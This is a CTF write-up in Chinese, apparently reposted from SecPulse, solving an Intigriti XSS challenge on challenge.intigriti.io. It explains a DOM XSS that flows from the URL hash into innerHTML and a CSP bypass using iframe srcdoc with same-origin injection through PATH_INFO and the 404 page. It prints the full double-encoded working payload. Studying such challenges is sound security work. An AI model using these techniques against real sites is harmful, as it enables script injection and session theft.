题目地址:https://challenge.intigriti.io/
题目的要求是绕过CSP实现XSS,执行alert(document.domain)
。
页面中加载了个script.js
:
var hash = document.location.hash.substr(1);if(hash){ displayReason(hash); }document.getElementById("reasons").onchange = function(e){ if(e.target.value != "") displayReason(e.target.value); }function reasonLoaded () { var reason = document.getElementById("reason"); reason.innerHTML = unescape(this.responseText); }function displayReason(reason){ window.location.hash = reason; var xhr = new XMLHttpRequest(); xhr.addEventListener("load", reasonLoaded); xhr.open("GET",`./reasons/${reason}.txt`); xhr.send(); }
这是个典型的DOM XSS,source为document.location.hash
,sink为innerHTML
。
xhr的响应传入innerHTML
前先进行了unescape()
,所以可以找个网站自身的content injection来放payload,即使url编码了也无所谓。
接下来就是寻找content injection的点了,我找到的第一处是利用404页面回显:
https://challenge.intigriti.io/<404>
但是尖括号被替换成了横线,这就无法利用了。
注意到响应头中的x-powered-by: PHP/7.2.29
,服务端是php写的。通过一番尝试后,我发现服务器开了PATH_INFO,可以通过如下形式注入内容到网页中:
https://challenge.intigriti.io/index.php/%253cINJECT%253e/a
成功将URL编码后的尖括号注入到了页面中。
来注入个"><s>XSS</s>
试试效果,
https://challenge.intigriti.io/#../index.php/123%2522%253e%253c%2573%253e%2558%2553%2553%253c%252f%2573%253e/a
html标签可以被正常解析,XSS已成功一半了。
由于这个DOM XSS由innerHTML
触发,所以不能用<script>
标签来触发XSS,而要用<img>
等标签的事件来触发。
接下来看看CSP规则:
content-security-policy: default-src 'self'
遇到CSP我通常拿到 https://csp-evaluator.withgoogle.com/ 去评估下,本题这个CSP相当简单/严格了,无法执行内联脚本。
用<script src=//challenge.intigriti.io/xx>
似乎是唯一能执行JS的方式,但是先前已经说了这个payload在innerHTML
中无法执行。
不过我发现了一种绕过这个限制的方法,使用iframe的srcdoc属性来渲染<script>
标签:
<iframe srcdoc='<script>alert()</script>'></iframe>
由于CSP限制了不能执行内联js,所以这里要用script的src属性。default-src
限制了src
只能为当前域内,所以需要找一个网站本身的content injection来存放js代码。
之前我们已经发现了一处,那就是404页面。不过,我们还需要确认404页面能被构造成合适的js代码,来触发我们的XSS。
不难发现,响应是可以构造成合法的js语句的。第一部分是一个数字,第二部分是减号,第三部分闭合掉单引号成为字符串。只要保证这前面的正常执行,后续的XSS payload就能被执行。
故可以这样构造:
这就是一段可执行的的js代码了,
然后把url填到src中:
<iframe srcdoc="<script src=//challenge.intigriti.io/'-alert(document.domain)-'></script>"></iframe>
将其url编码两次填入到hash部分,最终的payload为:
https://challenge.intigriti.io/#../index.php/123%2522%253e%253c%2569%2566%2572%2561%256d%2565%2520%2573%2572%2563%2564%256f%2563%253d%2522%253c%2573%2563%2572%2569%2570%2574%2520%2573%2572%2563%253d%252f%252f%2563%2568%2561%256c%256c%2565%256e%2567%2565%252e%2569%256e%2574%2569%2567%2572%2569%2574%2569%252e%2569%256f%252f%2527%252d%2561%256c%2565%2572%2574%2528%2564%256f%2563%2575%256d%2565%256e%2574%252e%2564%256f%256d%2561%2569%256e%2529%252d%2527%253e%253c%252f%2573%2563%2572%2569%2570%2574%253e%2522%253e%253c%252f%2569%2566%2572%2561%256d%2565%253e/a#
从这道题可以学到的一些技巧:
即使从将同域的xhr响应传入xss source也不一定是安全的,需要进行过滤;
利用iframe的srcdoc属性可以绕过innerHTML不解析<script>
的限制
利网站本身的content injection可以绕过一些严格的CSP规则
在寻找content injection的点时,重点关注404页面、报错页面、jsonp接口、meta标签等。
本文作者:少林功夫好啊
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/128882.html